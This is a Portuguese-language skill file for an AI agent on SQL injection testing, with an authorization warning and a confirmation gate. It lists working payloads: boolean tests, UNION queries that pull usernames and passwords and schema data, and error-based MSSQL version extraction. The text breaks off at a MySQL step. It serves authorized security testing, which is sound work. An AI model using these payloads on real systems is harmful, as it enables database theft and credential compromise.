⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Teste de Injeção SQL

Propósito

Execute avaliações abrangentes de vulnerabilidade de injeção SQL em aplicações web para identificar falhas de segurança em bancos de dados, demonstrar técnicas de exploração e validar mecanismos de sanitização de entrada. Esta habilidade permite a detecção e exploração sistemática de vulnerabilidades de injeção SQL através de vetores de ataque in-band, blind e out-of-band para avaliar a postura de segurança da aplicação.

Entradas / Pré-requisitos

Acesso Necessário

• URL da aplicação web alvo com parâmetros injetáveis
• Burp Suite ou ferramenta de proxy equivalente para manipulação de requisições
• Instalação do SQLMap para exploração automatizada
• Navegador com ferramentas de desenvolvedor ativadas

Requisitos Técnicos

• Compreensão da sintaxe de consulta SQL (MySQL, MSSQL, PostgreSQL, Oracle)
• Conhecimento do ciclo de requisição/resposta HTTP
• Familiaridade com esquemas e estruturas de banco de dados
• Permissões de escrita para relatórios de teste

Pré-requisitos Legais

• Autorização por escrito para testes de penetração
• Escopo definido, incluindo URLs e parâmetros alvo
• Procedimentos de contato de emergência estabelecidos
• Acordos de manuseio de dados em vigor

Saídas / Entregáveis

Saídas Principais

• Relatório de vulnerabilidade de injeção SQL com classificações de severidade
• Esquemas de banco de dados e estruturas de tabelas extraídos
• Demonstrações de prova de conceito de bypass de autenticação
• Recomendações de remediação com exemplos de código

Artefatos de Evidência

• Capturas de tela de injeções bem-sucedidas
• Logs de requisição/resposta HTTP
• Dumps de banco de dados (sanitizados)
• Documentação de payloads

Fluxo de Trabalho Principal

Fase 1: Detecção e Reconhecimento

Identificar Parâmetros Injetáveis

Localize campos de entrada controlados pelo usuário que interagem com consultas de banco de dados:

# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For

Testar Indicadores Básicos de Vulnerabilidade

Insira caracteres especiais para acionar respostas de erro:

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

-- Parentheses
)

Monitore as respostas da aplicação para:

• Mensagens de erro do banco de dados revelando a estrutura da consulta
• Mudanças inesperadas no comportamento da aplicação
• Erros HTTP 500 Internal Server
• Conteúdo ou comprimento da resposta modificado

Payloads de Teste de Lógica

Verifique a presença de vulnerabilidade baseada em booleano:

-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition tests  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare as respostas entre as condições verdadeira e falsa para confirmar a capacidade de injeção.

Fase 2: Técnicas de Exploração

Extração Baseada em UNION

Combine instruções SELECT controladas pelo atacante com a consulta original:

-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

Extração Baseada em Erro

Force erros de banco de dados que vazam informações:

-- Extração da versão do MSSQL
1' AND 1=CONVERT(int,(SELECT @@version))--

-- Extração do MySQL via XPATH

…